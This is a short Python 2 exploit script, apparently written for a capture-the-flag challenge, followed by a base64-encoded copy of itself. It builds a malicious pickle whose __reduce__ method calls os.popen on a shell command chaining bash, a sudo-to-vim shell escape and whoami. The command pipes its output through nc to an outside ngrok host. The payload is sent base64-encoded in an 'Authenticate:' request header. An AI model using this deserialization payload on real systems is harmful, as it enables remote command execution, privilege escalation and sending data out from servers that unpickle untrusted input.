import cPickle
import base64
class MMM(object):
def __reduce__(self):
import os
s = "/bin/bash 2>&1 | sudo -u app-script-ch5 vim -c '!sh' | whoami | nc 2.tcp.eu.ngrok.io 15016 > /tmp/f"
return (os.popen, (s,))
payload = cPickle.dumps(MMM())
print 'AUTH admin HTTP/1.0'
print 'Authenticate:', base64.b64encode(payload)
aW1wb3J0IGNQaWNrbGUKaW1wb3J0IGJhc2U2NAogCiAKY2xhc3MgTU1NKG9iamVjdCk6CiAgICBkZWYgX19yZWR1Y2VfXyhzZWxmKToKCSAgICBpbXBvcnQgb3MKCSAgICBzID0gIi9iaW4vYmFzaCAyPiYxIHwgc3VkbyAtdSBhcHAtc2NyaXB0LWNoNSB2aW0gLWMgJyFzaCcgfCB3aG9hbWkgfCBuYyAyLnRjcC5ldS5uZ3Jvay5pbyAxNTAxNiA+IC90bXAvZiIKCSAgICByZXR1cm4gKG9zLnBvcGVuLCAocywpKQogCnBheWxvYWQgPSBjUGlja2xlLmR1bXBzKE1NTSgpKQpwcmludCAnQVVUSCBhZG1pbiBIVFRQLzEuMCcKcHJpbnQgJ0F1dGhlbnRpY2F0ZTonLCBiYXNlNjQuYjY0ZW5jb2RlKHBheWxvYWQp